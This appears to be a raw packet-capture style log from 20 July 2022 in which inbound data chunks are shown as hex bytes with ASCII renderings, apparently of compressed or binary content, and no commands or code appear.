2022-07-20 17:31:06 UTC	478	IN	Data Raw: 3f 30 c7 dd ed c8 e6 9b ae 7c 44 f0 83 eb 77 b7 77 16 57 5a 85 99 0d 1c d7 12 46 a8 eb 38 05 7e 55 00 00 87 d8 74 03 a5 72 69 c8 ad ba 3a 0e 93 e2 57 8e 90 78 fb e1 e7 88 ef 7c 47 6b a3 45 65 a7 48 5a c2 39 19 da f6 44 90 a4 72 15 5e 30 33 d1 8f 3d 71 8e 2a 4f 8f 57 da fe bd f0 f3 c2 5e 15 8a fe d2 2b 4f 10 6a 56 96 31 58 c5 66 ab 14 0a 5b cc 25 70 09 24 28 f9 89 24 67 39 06 bc fb e1 ef 85 e0 f1 2f 8a 34 cd 47 5b 11 47 65 6a 54 c5 60 cc ca 26 55 05 63 70 dc 8f bc 07 07 82 3b 77 af 6a b8 d2 2e 27 f1 67 83 75 dd 4e de e2 0f 0d 59 4f 70 2c ed 71 e5 bd c5 c8 88 24 4a 48 fb a1 dd dd 41 c0 ce d0 6b b2 15 79 ee bb 98 4a 32 22 f8 ed e0 4b 3f 17 e9 77 f7 3a 65 9e 9d 6f 79 a4 5b 47 2a dc 69 30 84 4b a5 18 2e 9b 47 a7 cc a0 9f 4c e3 1c 55 6f 80 bf b4 ea 5b f8 5e df Data Ascii: ?0\|DwwWZF8~Utri:Wx\|GkEeHZ9Dr^03=qOW^+OjV1Xf[%p$($g9/4G[GejT`&Ucp;wj.'guNYOp,q$JHAkyJ2"K?w:eoy[Gi0K.GLUo[^
2022-07-20 17:31:06 UTC	481	IN	Data Raw: 4b 2b 6a de 1f d3 b4 63 76 c6 2b 3b 6b 97 b8 8e 15 23 74 cc e5 9d d9 48 39 62 49 3c e7 15 e3 3a e5 c4 be 1c d4 0c e4 b3 a5 b3 84 6b 9c ee e0 64 9e 06 72 a1 48 ed 5f 67 78 a3 e0 9c 17 1a 3c fe 32 bb 92 5b 94 9a 09 1d 2f f4 3d c7 ca dc a1 7e 68 c9 00 05 60 77 12 4f d0 52 55 a7 38 f2 45 7c 3b 99 d2 94 aa 49 c1 74 3c 5e f7 c0 d1 49 6d a3 2e 99 73 29 33 28 79 a1 91 4e 55 fe 63 90 dd 71 81 f7 4d 5b f0 ce a5 e2 3f 08 c9 aa 78 97 c2 89 73 64 80 c9 15 c5 c3 45 b9 2e 57 3f 29 65 39 19 07 90 70 30 69 35 54 d5 fc 02 be 65 ee aa 75 4b 99 63 59 63 b9 8a 32 06 c6 cf 50 7f de ea 31 5d 9f 83 fe 28 49 e1 1b 64 b3 54 89 ed e7 b6 5b 3b a8 d8 6e 43 1e ec 16 20 f1 9d bd c7 35 a5 3a 6a 6f 52 79 55 cf 25 d7 3c 25 65 e2 28 ef 27 36 eb 05 c4 83 ce 69 24 66 dd 2c 8e db f2 d8 3f 36 Data Ascii: K+jcv+;k#tH9bI<:kdrH_gx<2[/=~h`wORU8E\|;It<^Im.s)3(yNUcqM[?xsdE.W?)e9p0i5TeuKcYc2P1](IdT[;nC 5:joRyU%<%e('6i$f,?6
2022-07-20 17:31:06 UTC	665	IN	Data Raw: 1d 8d 21 2e 58 f3 14 fc 27 ae 49 ae 43 a6 db 03 13 e3 68 37 18 c6 e2 84 9e 07 42 a4 93 db 38 c5 66 f8 eb 57 8a ea 61 65 75 64 b7 b6 b0 cd 26 e8 da 22 06 09 60 53 70 20 ed 0c 73 8c d6 ef 86 6d d2 df 5c 8e 1b 18 82 5a de 44 d2 61 97 6a 21 07 0c 73 d8 e7 b0 ab 3a 87 86 12 4b 9b b9 5e dd 6e 6c ad e3 96 03 75 f3 08 84 87 9c b2 96 07 83 c7 04 fe 34 62 25 2a 74 53 87 42 a3 ef 33 cd 74 ab 28 ac ac 75 1b 9b 29 61 d3 ef 63 81 99 cd c2 96 56 f3 37 42 49 ce 79 00 92 38 c7 cb 5d 46 91 63 a4 6a 6f 67 05 b4 92 bc 10 3f ef 56 50 aa a5 71 96 6e 7e eb 10 78 07 3c d7 29 f1 a7 c7 92 5f fc 27 d2 34 03 73 0e 87 77 65 a8 47 69 fd a5 6d 6c c6 54 8d d8 90 93 32 80 59 14 86 50 4f 4c f3 9a d0 f0 67 c4 0d 3e 65 b3 d2 a2 b6 8a d3 c4 76 50 2a dc f9 8a 3c ab 94 50 18 cc ac 41 dc 1d 78 Data Ascii: !.X'ICh7B8fWaeud&"`Sp sm\ZDaj!s:K^nlu4b%tSB3t(u)acV7BIy8]Fcjog?VPqn~x<)_'4sweGimlT2YPOLg>evP<PAx
2022-07-20 17:31:06 UTC	681	IN	Data Raw: bb 78 22 b0 d4 63 b5 82 78 a3 9e 16 29 bd e6 e3 70 24 13 f2 95 07 00 ff 00 3a e5 fc 4d 71 7d a9 5d 5b ea 1a ad e5 ce b3 19 75 de b7 8c 5d 8e d0 08 e3 a0 ce 3a 63 b9 af 39 e6 70 a0 fd 9a 8d d9 ed 2c 2c eb 43 9e 2b 63 eb 76 d4 c7 88 35 c8 47 87 ed a4 9f 4a bc 86 74 b9 d5 97 32 24 0e 36 6c da a3 25 89 f9 fb 8c 1c 56 dc 9e 0d d2 e1 92 de db 52 b6 8e fd a6 61 1c 57 12 a6 5c 10 19 99 41 18 2a a7 1d 01 e7 bd 7e 7d ff 00 c2 4d e3 5d 76 e7 50 d5 b4 bd 57 56 f0 fa 9b 87 8a d0 58 ee 8a ce 00 18 ed 4d a8 47 f0 f0 49 ce 6b d2 fe 1d fc 72 f1 84 de 19 7d 23 5f d5 66 d4 75 1b 26 8e e5 2e d9 97 6e c5 0d b4 6e 0a 09 0c b9 cf 7f bb cf 5c d5 2c 65 25 ef 4a 07 95 4e bc eb 54 54 64 99 f5 8d cf 85 ae 35 f6 ba d2 af a3 86 d7 4e 8e 65 f2 0d 8b 6d 77 84 2b 00 84 63 e5 db 90 3d 2b Data Ascii: x"cx)p$:Mq}][u]:c9p,,C+cv5GJt2$6l%VRaW\A*~}M]vPWVXMGIkr}#_fu&.nn\,e%JNTTd5Nemw+c=+
2022-07-20 17:31:06 UTC	737	IN	Data Raw: a4 96 9a 7f 8b 6d 1e 68 9c a4 76 f1 dd 92 f0 bb 0c e3 6e 41 c1 3c e0 10 72 4f 26 bc 66 2d 3f c4 de 00 f1 66 a9 6b a8 db de 0d aa 15 18 12 3e d0 e7 86 0a 01 23 27 a9 39 22 aa 6f 91 dd a2 b9 75 3b ad 13 e1 6c fe 31 f0 10 f1 6e af 71 1d 86 91 6d 2b 42 be 4b 64 a7 ca 7e f7 1c e5 b0 01 c0 3f 30 aa 71 fc 24 d0 6c f4 d9 75 38 a5 fb 05 aa c4 22 49 a5 91 7e 75 ea d9 62 41 2c 7d b9 1d 33 58 57 9e 32 d5 ed bc 23 a8 f8 78 ea 97 3a 7e 82 d7 0b 35 f5 a5 b4 61 fc e5 2c af b8 b6 09 53 bb 0b 9e 39 5a c7 f0 ef 85 e4 f1 63 c5 f6 49 49 57 95 63 78 ee 25 0c 21 c9 c0 2a 08 38 c5 6f ed 5d ad 4d 11 68 1d 9c 1e 28 f0 37 86 f4 bb 94 b4 d3 24 8a d2 32 73 71 6c 08 dd 20 5f 95 82 9c 9e bc 0f 6a c5 8f e3 dd 97 89 74 d1 64 96 92 69 86 dd 42 2c 8c 32 0a 01 8d e7 d0 9e d9 e9 4d ff 00 84 Data Ascii: mhvnA<rO&f-?fk>#'9"ou;l1nqm+BKd~?0q$lu8"I~ubA,}3XW2#x:~5a,S9ZcIIWcx%!*8o]Mh(7$2sql _jtdiB,2M
2022-07-20 17:31:06 UTC	776	IN	Data Raw: 25 2a 77 b3 11 f3 12 09 e0 0a ca ad 67 14 a8 c7 e2 66 3e cf 9a b3 92 d8 d5 f8 59 e0 a4 d5 23 8e 6b db d6 d3 b4 44 b7 31 5c df 2a 95 48 60 6d dc 77 c3 90 36 aa f3 91 ce 07 4a bb e2 48 34 8d 42 fd 24 b1 bb 86 c7 45 b7 2d 15 b5 9a e1 8b 80 73 86 23 f8 82 e0 12 38 ce 78 af 4e f8 d5 2f 85 fc 35 f0 d3 4b f0 67 86 5e 69 a0 86 f1 66 bc bb 86 16 66 e5 64 25 d8 85 c3 0c b7 a7 00 0f 4a f1 df 0f e8 7a 6c 30 da 4f 67 73 6d a8 cf 33 28 2d bb 68 81 13 97 6c 1e bb 94 71 9e 47 1d 6b 37 85 ab 4f 46 f4 65 73 53 5a 58 f1 bf 1c 6a 31 bf 88 75 38 9a 48 a3 9a 5b d6 b5 f3 6e 38 02 31 29 0c aa 7b 10 07 e7 da ba 4d 63 4d b0 b8 b8 82 d6 cc 47 e4 bc 6b e5 a9 20 6f 65 03 2d c0 19 c6 c3 4f f8 b5 e1 48 b4 d9 2d a5 b9 36 c2 da f2 79 ae 0c b2 10 0c 4c 58 e3 92 08 e0 7c c4 7b d3 34 a9 21 Data Ascii: %wgf>Y#kD1\H`mw6JH4B$E-s#8xN/5Kg^iffd%Jzl0Ogsm3(-hlqGk7OFesSZXj1u8H[n81){McMGk oe-OH-6yLX\|{4!
2022-07-20 17:31:06 UTC	792	IN	Data Raw: 77 b7 bf 4f 13 df ea 89 7f 72 d6 5a 60 74 8d 2d 23 1e 58 32 08 c2 80 ed c9 0a 42 e4 e0 f2 79 c8 e9 54 74 48 6f 6c 74 ab a7 48 17 50 b3 8e 61 1b 48 37 60 c9 b8 8c 1e 3a 90 33 d6 ba 1d 03 47 d4 ef 5a d0 69 fa 64 b3 dd 3e e8 7e c9 1a 87 56 90 9d a3 93 80 58 73 c7 6a f6 2d 02 c6 c3 fb 0f 48 f0 b6 ad e0 7d 7f c2 fa 5e a0 4e 99 1e b5 31 42 c3 50 69 55 60 66 51 9d a4 b1 23 24 76 ae 7f 65 3a cb 44 73 af 71 9e 13 e1 eb e7 b9 ba b3 fb 34 73 6d 17 2b 09 b4 8c 7f 13 8f 9b 24 0c ed 23 20 e7 9f 9b a8 af a0 3e 3d 69 6f 71 2f 82 ec 34 79 56 3d 5e eb 4a 69 26 6f 3b 72 28 8d d0 49 b9 73 96 1b 80 43 cf 40 47 07 9a f2 1b bf 05 f8 ba c7 c6 d7 1e 1e d1 e4 b7 8b 50 b1 ba fb 35 f4 91 8f 92 49 46 0a c9 92 72 aa 47 27 39 3f 2f 5a fa 37 e3 87 c2 fb 68 f4 5f 86 f0 b5 c4 76 3e 23 7d Data Ascii: wOrZ`t-#X2ByTtHoltHPaH7`:3GZid>~VXsj-H}^N1BPiU`fQ#$ve:Dsq4sm+$# >=ioq/4yV=^Ji&o;r(IsC@GP5IFrG'9?/Z7h_v>#}
2022-07-20 17:31:06 UTC	1066	IN	Data Raw: 74 00 1e 01 c6 4f ad 56 d2 b4 cd 07 46 92 d4 6a 57 77 36 cb 2c c1 36 a9 52 bc b6 70 cb d7 a6 31 fd 6b 28 c6 a2 8a 8d 33 78 ca ea d2 3d 3b c0 d6 32 78 fb cf 81 60 bb 49 ad b2 57 54 96 45 d8 23 c6 00 03 20 80 49 3e 83 1d 85 6c f8 37 c0 1f d9 1e 2c bb 13 c5 0e a7 15 c4 be 57 d9 ee 24 68 8c 59 66 2b ca 92 18 10 78 c1 1e f5 17 81 fc 5b e1 dd 0a e3 57 b3 d4 b5 0b cb 01 77 6e 22 8d 95 89 2f 90 38 00 00 06 3b 0e de f5 6f c6 df 15 34 1b 69 34 f8 2e 25 b8 78 a1 f9 14 69 31 84 f3 b0 bf 2b c8 4e 4e f2 7a 9e 47 b5 7a 2a 4a 2a f3 76 32 94 0f 44 d2 ef 34 3d 0b 4f 5b cb bd 42 de 2d 6c 89 a3 b7 8b 72 ca f6 72 0f 34 2a b6 40 0c 06 e5 1b 4e 4f b9 eb 5c 75 c7 8a 35 2d 5a de e0 ea 52 ae b3 77 71 27 da 26 f2 55 d2 34 2b 80 a7 61 38 8d 48 24 95 07 07 d6 bc 53 5f f8 87 6f 0c 91 Data Ascii: tOVFjWw6,6Rp1k(3x=;2x`IWTE# I>l7,W$hYf+x[Wwn"/8;o4i4.%xi1+NNzGzJv2D4=O[B-lrr4*@NO\u5-ZRwq'&U4+a8H$S_o
2022-07-20 17:31:06 UTC	1165	IN	Data Raw: b4 4d 33 4c f8 43 e2 0b ab bb f6 96 0b b9 e3 b0 96 2d cc 53 cc 0d e6 f9 9b 46 31 95 e4 7b fe 55 74 f9 e5 1e 4b 72 b3 4a 6f 99 49 74 47 13 e3 6b 71 27 8e 6f 26 96 ce 1d d8 52 96 e5 42 ae 0a a9 3d 7a e3 27 d3 a5 47 67 a4 f8 72 d6 e2 7c ea 12 59 03 13 4a 62 8f 6a c3 90 b9 ce f2 0f 24 83 81 e9 52 78 99 ed ee bc 4c 6e b5 4f 35 ed ee 24 69 ed 66 56 02 76 85 59 a3 61 83 91 fa 56 b6 b7 69 a6 59 58 94 4d 40 da 7d ba 50 a6 d2 d2 42 c0 a1 52 a0 31 6c 85 c3 3f 20 63 a5 76 c3 09 ce b9 ba 9c 32 9d 9f 91 c0 78 fb e2 06 ab e1 5d 2b 4c d3 b4 d8 a1 b3 bc bd 82 47 6d 58 4a 64 98 a9 21 4c 46 30 71 92 06 e5 c0 c9 00 9c f6 ae 57 4b f0 fe a9 e1 8b eb 2d 5f 4c bf 8f 71 72 b6 be 57 ef 48 b7 39 66 e4 9e 48 cf 3c 1a dc d7 b4 8b 2d 6d a3 b9 5b bb 7b 7b 5b 3c 4b 2c 93 03 23 4a 00 2b Data Ascii: M3LC-SF1{UtKrJoItGkq'o&RB=z'Ggr\|YJbj$RxLnO5$ifVvYaViYXM@}PBR1l? cv2x]+LGmXJd!LF0qWK-_LqrWH9fH<-m[{{[<K,#J+
2022-07-20 17:31:06 UTC	1219	IN	Data Raw: 71 16 a3 65 6c a2 e6 ea e2 30 c6 59 40 2b bd 08 21 7e e8 53 92 3d 8f 35 f3 f6 93 e2 8d 56 c9 ae e7 d1 6e 0d c5 a3 a1 56 21 43 03 ce 19 b0 46 73 9e 87 d3 b5 7a df c0 88 ad 35 2d 4f 53 b7 d6 2c cd ec 56 1a 4c b7 70 5a aa ec 92 60 ae 1d d0 85 c0 7d c7 03 91 9e 0d 74 e1 79 a3 3f 76 44 c2 f2 dc b1 e3 0f 87 73 6a c0 eb 3e 36 d7 0c 5a 75 e3 89 e3 8a e2 57 b8 d5 4c 61 18 34 71 c4 14 85 c9 c7 62 17 3d f8 af 45 f8 53 f0 59 fc 42 9a 6f 8a 3c 52 1a 3d 2d 22 63 a7 78 5e e6 2f dd 5a ae 40 8e 59 39 f9 a4 2a 37 1e 01 c9 e4 f5 ac 9f 82 3f 10 93 50 7d 67 c4 77 fa 16 a9 e2 5f 18 cf 3c 88 d7 16 96 ac 21 b5 b7 0a a5 62 de e5 51 00 20 82 14 96 1d c1 ef bf e2 1f 14 5d f8 a2 e2 1d 37 5d f1 38 d3 2f 35 4d d0 d8 e8 7a 2c bb 48 05 c0 61 3c a4 ee 61 b4 ed 24 15 19 04 e0 74 1e bd 1a Data Ascii: qel0Y@+!~S=5VnV!CFsz5-OS,VLpZ`}ty?vDsj>6ZuWLa4qb=ESYBo<R=-"cx^/Z@Y9*7?P}gw_<!bQ ]7]8/5Mz,Ha<a$t
2022-07-20 17:31:06 UTC	1282	IN	Data Raw: 91 77 77 f6 76 b5 86 48 ac 64 df 80 ee 08 dc 8d c1 27 1b 7d 71 8e 95 d5 4b 0f 1a f4 f9 67 a3 30 95 47 d0 f9 d3 41 d5 2e 7f b3 ee 24 9e ce 39 26 c9 f2 a1 64 01 b2 ad b9 44 67 aa 12 0f 24 75 1f 9d 6e 6a cb a6 a3 e8 97 0f 77 26 8f a8 d9 5a f9 16 f6 2b 3f 9b 1c d2 96 22 59 39 c8 e4 12 17 39 e6 b4 bc 49 69 1e 93 23 df 5a 95 8e 7d f2 41 77 6e bc 84 7d b8 56 52 73 db ae 47 e3 5c 5e 9f e0 ab 3d 7f 4f 8e e6 73 31 6b 66 30 fd aa 16 0c f0 ac 60 32 ee 4e 7b f4 39 fc eb 97 d9 ca 9c f9 22 cc 1d da b5 8d 4d 53 53 bc b3 b7 bc 1a 3f 97 69 0d f3 47 14 86 68 59 c4 c1 76 ec 00 1c 61 71 20 01 81 e9 de bb 5f 07 6a 96 ba 5f 89 2c 34 d9 44 29 3b 7c c2 52 db 92 d4 b2 fc cd b9 b3 95 cf 1c 67 90 2b 1e f7 c4 b1 eb 96 1f 60 fb 5b 5b b9 65 ba 87 0c 08 b7 8c 28 5c f2 08 da 70 01 51 d0 Data Ascii: wwvHd'}qKg0GA.$9&dDg$unjw&Z+?"Y99Ii#Z}Awn}VRsG\^=Os1kf0`2N{9"MSS?iGhYvaq _j_,4D);\|Rg+`[[e(\pQ
2022-07-20 17:31:06 UTC	1362	IN	Data Raw: b9 1b 5b 3d b1 e9 52 0f 52 ab a0 66 3f 4c d4 6c 30 98 6f 90 75 06 a6 6c 1c 63 9c 8f ca a2 75 21 b1 e9 eb d2 a8 92 36 05 93 b1 18 c7 e0 69 88 d8 de 7f 97 41 4f 70 c1 8f f7 71 cd 30 c7 94 e0 9c 37 3d 3d 68 20 af 22 a3 36 f0 4e e5 ce 7d ea 3e 42 e5 7e 7c f0 73 53 cc b8 42 10 0c 28 19 a8 e4 8e 36 c0 19 8c 81 b8 fb d0 66 f4 1a cb b6 2c 08 f6 01 d0 13 4f b0 91 1d 9e 32 76 6e 19 e7 d6 98 d1 82 bb 88 c8 3c 8d dc ff 00 2a 31 b7 25 4e 42 80 73 4c cc 59 21 30 7c ae fb cf 6c 1a 8a 68 9f 60 62 39 e7 f2 15 78 66 e2 10 c8 c3 72 81 9c 8e 4f d2 ab a9 2b f3 4b d1 b2 3f 3a 2c 49 9a 03 75 e4 67 fb d4 d0 bf 53 ce 6a d4 a0 ab 6c 60 48 00 54 18 f9 ba 90 29 00 dc e5 8e 3a d2 ee c2 ae 47 1d 33 df 34 11 9e bc 8a 4e 87 db d2 80 18 ea 0a e0 f5 a8 19 37 30 ec 07 5a b2 57 77 27 b5 46 Data Ascii: [=RRf?Ll0oulcu!6iAOpq07==h "6N}>B~\|sSB(6f,O2vn<*1%NBsLY!0\|lh`b9xfrO+K?:,IugSjl`HT):G34N70ZWw'F
2022-07-20 17:31:06 UTC	1378	IN	Data Raw: 9e 6b 86 d2 da ca 00 c7 31 cf 21 01 a3 2a a0 7d e0 a0 2f d2 b9 98 bc 02 df 16 7c 3c f6 57 12 b4 0f 6f 22 cd 73 6a 41 3e 77 96 ae 3c b1 9e 99 dc 48 c1 c6 00 e2 ba cb ef 02 f8 af 47 b9 51 e0 e9 e3 9f 59 b7 bb 8e f2 5b ad 45 c1 dd 6e e7 6b 46 07 2a db 57 9c 8c 67 d8 d3 fe 2b 78 a2 fb e1 ff 00 87 f5 74 4b 45 9c 1b d6 5b 5b 78 55 96 40 4a 67 cd 92 40 48 50 59 80 19 c0 23 8e b5 9d 78 a9 52 7c fa 58 c5 27 ee b3 e3 ab c2 66 d4 20 82 c9 22 82 de f9 7c 91 a7 ac 7f 2e e5 e7 35 d4 7c 34 d0 74 65 f1 05 be a5 12 5d b9 8e 09 60 96 3b b6 cf 90 ab b0 90 b8 c1 c6 e2 71 9c f1 8a e5 d3 49 d4 ed 75 ab 2b 31 14 a9 ae 5f 4a 8b 6d 13 15 60 bb b0 4b 6e 5c f0 72 3e 82 bb cf 06 e9 57 ba 1f c5 5b 8d 36 fe d1 a2 bb 99 25 77 b5 50 5c e4 83 9d a7 a1 5c a0 c7 15 e3 c6 2a b7 23 65 ca 5c Data Ascii: k1!}/\|<Wo"sjA>w<HGQY[EnkFWg+xtKE[[xU@Jg@HPY#xR\|X'f "\|.5\|4te]`;qIu+1_Jm`Kn\r>W[6%wP\\*#e\
2022-07-20 17:31:06 UTC	1489	IN	Data Raw: 5d ae d7 53 65 e1 93 3b 48 c0 24 b6 ee 99 e3 8a a9 22 7c 39 d7 bc 33 73 6b a2 6a 32 d9 78 c6 38 96 e6 de 39 27 73 14 f2 12 ec d6 a5 41 03 05 49 c1 3d ab e7 cb df 8a 56 77 17 21 35 1d 4e cc c4 e2 39 1c 03 92 10 70 30 c3 38 c9 39 c1 e7 83 47 82 fc 2f ab 78 a3 c7 37 ba 46 87 24 cf 14 b6 e5 ad 44 d8 42 f2 ca 42 ac 6a e4 02 49 2f 80 7b 1c 0a 73 ad ec e3 7e 5e 64 44 9f 36 c7 be 68 af 67 a1 f8 4a c3 4a b2 d2 04 90 f8 97 ce 0b a7 e9 73 0c 42 90 c9 24 e7 70 7e 99 2f 80 47 64 23 de b7 bc 5d f0 9a 39 3e 17 c9 a9 6a f6 77 36 11 5d 22 59 db de 69 b7 01 de e6 61 74 cc a5 c0 05 95 70 81 b2 0e 7e 4c 71 9c 0e 47 58 f8 67 e2 cf 02 dc 69 46 e0 49 3d 9d a6 94 b0 45 71 f2 b8 b7 9c 02 5c e7 20 8d ab b8 15 1e b5 8b 7b f1 3f 57 f8 6f ad e9 1a bd b0 59 67 6b 58 f5 2b 9d 28 c8 cd Data Ascii: ]Se;H$"\|93skj2x89'sAI=Vw!5N9p089G/x7F$DBBjI/{s~^dD6hgJJsB$p~/Gd#]9>jw6]"Yiatp~LqGXgiFI=Eq\ {?WoYgkX+(
2022-07-20 17:31:06 UTC	1513	IN	Data Raw: 65 bb 6d 88 d8 ca 8d ad dc 81 c0 1d 2a 0d 6f 4d bd 85 e5 31 5b 5b cb 73 1c 8c e1 62 24 32 67 ef 20 c9 27 07 b0 04 0a e6 b4 1f 1f c5 7b ac 69 ba 7c 52 9f dd bd c2 19 26 93 e5 25 7f 81 73 90 08 3c 64 e7 35 d8 f8 57 c5 f2 d8 ea 5a 8e a3 7f 69 1e a1 a7 0b 66 87 ec cd 91 23 dc 37 08 aa d8 ec 79 27 9c 0a 55 68 38 3e 78 cf 42 94 b9 9d a4 73 96 76 fa b5 cf 87 ef 34 4d 13 4b 7f 0d 69 f0 13 77 aa dc ea 13 fc d2 ca 4b 10 15 ba f2 14 fc a3 a7 ad 6c 6b 46 0d 13 43 d2 bc 39 04 76 e0 06 69 ee cc 21 84 d8 61 b9 4b ca 5b 2d e8 07 a7 ad 5e f0 06 9b 73 ae df 41 3e b8 7f e2 5a 42 39 31 b6 e2 23 0c 55 d8 83 90 4f 71 91 de a5 d6 2c f4 9d 47 5a d6 6e ee 6f e4 b8 d3 51 9a d2 d4 c2 a1 5a 75 8f e5 8d 19 b6 91 c0 00 1c 00 7d eb 82 75 ee d4 9b d0 de 9d 37 3d 51 e7 f7 51 be a0 d1 c0 Data Ascii: em*oM1[[sb$2g '{i\|R&%s<d5WZif#7y'Uh8>xBsv4MKiwKlkFC9vi!aK[-^sA>ZB91#UOq,GZnoQZu}u7=QQ
2022-07-20 17:31:06 UTC	1529	IN	Data Raw: 59 42 86 3f 3a d6 22 5e 52 cc 42 86 23 80 ac 19 79 c7 1f 5e b5 15 1c a4 ac ce ca 52 51 7a 1d a7 87 7c 4b 26 b2 f3 ac d6 ff 00 d9 ee ae e7 6b 1d a4 c6 d9 e5 49 cf 3c 11 9e 69 9e 24 f0 da de 6c d4 7c 3c 55 2f 35 15 31 be 93 13 72 64 c7 df 8c 9c ef 04 72 47 50 7b d6 47 87 6f 2f bc 49 e2 df 09 c4 2e 22 73 1b 3d b4 87 03 6b e7 cc 6f 98 7a 8d c4 0f a0 ab b3 5c c5 a6 47 61 2c 22 49 75 0b 9b d5 81 24 88 e1 91 0e d0 64 03 aa 0e 70 71 8a ca 17 51 f7 8d a5 69 3b c4 c3 d1 ac ef a1 f1 85 95 b5 d5 99 b4 92 ea 61 11 59 80 0a 49 05 4e d2 09 db cb 64 83 9e 6b 1b c4 37 3a 67 81 56 fe f6 77 3a 8c 50 4f 3c 1a 93 42 18 18 9c 33 94 45 42 09 65 1b c8 27 d8 74 ae d9 74 fb fd 2f 5c d4 e5 b9 d2 ae b5 8b 6d 3e 58 75 17 8e d8 ed 93 fd 74 4a 46 ee b9 1b b7 7d 15 ba f5 af 3e f1 57 8d Data Ascii: YB?:"^RB#y^RQz\|K&kI<i$l\|<U/51rdrGP{Go/I."s=koz\Ga,"Iu$dpqQi;aYINdk7:gVw:PO<B3EBe'tt/\m>XutJF}>W
2022-07-20 17:31:06 UTC	1569	IN	Data Raw: 3e 5e 56 8a 9a 69 d8 ef 3c 39 a7 d9 b5 c9 d6 b5 51 20 b7 80 b4 71 46 23 0c 62 50 bb 8e 3d 38 c0 27 91 ed 5a be 14 f0 dc 9a e4 96 fe 21 d5 e4 1a dc 66 66 16 56 3d 2c ad e1 56 18 75 ce 43 b2 83 93 82 08 18 ef 58 96 d3 5c 6a 76 06 07 82 37 9e c6 d0 5c 8b 58 e7 0b bf 1c b0 72 7b 91 c1 15 99 a2 f8 ee cf c4 7e 13 bf 7d 32 31 69 14 bb 92 1d 2d a4 65 11 48 ee 37 1c 67 d0 60 e3 19 15 df 05 a1 8c e5 2b 5d 22 de a7 a3 0d 5b 50 b0 bc b6 b9 b7 b8 d3 e0 b9 20 1f 29 46 f5 0f 1f 05 80 c1 18 cf 18 cd 6f eb 57 d2 c1 e2 09 75 5d 3b 4e fe d7 b3 b8 8e 0b 4b 92 b1 ed 6b 52 1b 76 e5 5f e2 50 78 3e 82 bb 0d 23 e1 8e 99 0d e6 95 a0 e9 77 0c f7 46 15 59 d6 e0 e0 1c a9 0c 57 0a 00 c1 5e 0f 3d ba d6 26 b3 e1 df 13 7c 36 bf b6 d3 45 96 6c ad f7 3c 37 96 db a4 62 a1 b2 db 94 f5 6c f4 Data Ascii: >^Vi<9Q qF#bP=8'Z!ffV=,VuCX\jv7\Xr{~}21i-eH7g`+]"[P )FoWu];NKkRv_Px>#wFYW^=&\|6El<7bl
2022-07-20 17:31:06 UTC	1593	IN	Data Raw: fc e1 40 1c e7 de 9c ee 8d c4 23 00 95 0a a3 b1 1d ce 73 56 a2 82 78 b5 23 04 b6 eb 71 34 fb 70 09 c6 ed dd 30 73 81 5a 2d 76 1e f2 d0 a9 3e 9c ec b1 bc 48 72 fd 98 fa 7b f4 cd 49 6b a7 cf 37 31 00 64 2a c4 c6 c4 02 30 7f 5e 3b 57 ad 5a 7c 22 b8 b0 d1 65 7d 59 85 94 2c a6 64 b4 18 7d a0 72 58 10 73 c9 fc 3d ab 88 f1 2e 97 6f b2 da 5b 22 09 75 89 e3 24 10 db cf 0c 0e 0e 3f fa f4 e5 07 d4 d6 ae 16 70 57 92 39 69 f6 cb 1e e5 7e 77 1c af 7c 67 8a 5b 1b 47 9a 40 a3 ef 8e 70 69 65 8d ad 6e a6 49 01 32 86 22 46 ee a4 1e ff 00 5a d5 b2 86 3f 2c cf f2 82 87 af 7a e5 a9 2e 45 64 70 38 d9 f2 96 66 99 ad ed a3 02 4f 29 db 80 08 f4 eb 56 34 61 32 ab b1 90 20 6c b8 6c 71 83 cf e7 59 53 cd f6 bb 98 83 9f 94 c9 d7 d0 1e 78 ad bb 58 83 0c 02 4a fd 38 ac 5b e4 a6 4a e5 85 Data Ascii: @#sVx#q4p0sZ-v>Hr{Ik71d*0^;WZ\|"e}Y,d}rXs=.o["u$?pW9i~w\|g[G@pienI2"FZ?,z.Edp8fO)V4a2 llqYSxXJ8[J
2022-07-20 17:31:06 UTC	1609	IN	Data Raw: 09 04 71 8f d6 91 b0 cc 4e 46 7a d3 f0 07 4e 77 f4 cf b7 5a 8d 8f cc 5d 10 1d c7 f4 a0 90 fb c8 f9 fe 2c 64 81 d3 14 c7 08 54 9f ce 9e d3 14 f9 01 18 ef ed f5 a6 48 47 6f d3 a5 02 b1 17 98 0a fc af 85 1c 62 95 8e 14 65 b2 a4 0e 05 31 e2 21 81 38 00 d3 9d 00 60 54 f1 8f e2 18 15 57 10 86 35 da 36 90 38 aa ec a0 30 24 fc db b9 fa 52 c8 db 1b 2a 73 fd ee fc fb 53 59 4b fc c1 38 fa d3 20 49 80 f3 08 1d 3b 52 6e dc bc 75 e9 48 06 1b 71 39 f6 a0 30 7e 31 80 0f 5a 80 17 68 1c 7a 71 40 00 ae 09 03 1d 33 4a 48 dd 8f 5e 94 dd a5 d8 86 c6 54 74 3d e8 01 46 19 f2 73 81 9c 91 fd 2a 58 df 72 a1 00 85 ef 9a 60 63 22 e7 a6 40 e0 52 c4 ec bd 3e 65 e7 83 56 04 80 a3 c7 82 00 c9 c8 39 ed 4f 78 c2 c6 17 86 5e b9 ed 9a ae f2 0f 30 15 f9 30 31 c0 f4 a5 f3 19 ba 9f 97 9c d2 b8 Data Ascii: qNFzNwZ],dTHGobe1!8`TW5680$RsSYK8 I;RnuHq90~1Zhzq@3JH^Tt=FsXr`c"@R>eV9Ox^001
2022-07-20 17:31:06 UTC	1672	IN	Data Raw: 08 27 db 8a 80 17 2b b7 9e 09 3d 3f c2 a3 2a 17 87 24 8d c7 e6 1d 47 a0 ab 12 05 66 07 04 95 38 a6 e1 5d f6 8c 8d cc 49 f5 e2 9d 80 45 f9 97 8f c7 db eb 4f 8c 85 f9 49 18 c7 5f 7a 69 3b 56 4c 80 37 12 78 a4 01 02 a0 21 88 00 1a a0 10 ba 96 92 35 1f 32 f5 27 a5 48 c8 7c bc 27 20 e3 34 c2 c1 d4 92 30 09 c0 c7 5a 90 c7 d3 1f 21 c0 cd 4d 80 90 a9 64 0d d0 fa 62 a6 84 ef 62 9d 31 de ab 46 ce cf b3 d0 f2 4d 4f 13 e7 79 03 23 9e 45 16 37 8a b1 24 9f 33 6d 20 02 06 14 fa d4 61 19 57 23 1e ff 00 fd 6a 50 33 b0 97 cf 18 e7 da a3 52 bb 80 20 f7 e9 fa 51 60 ba 1e 1b 7f 23 19 03 06 a4 53 f3 64 91 d3 15 01 52 98 29 c1 3d 45 38 7e f3 8c 73 de 90 45 bb 96 56 3d ca b8 2a f8 18 ce 79 18 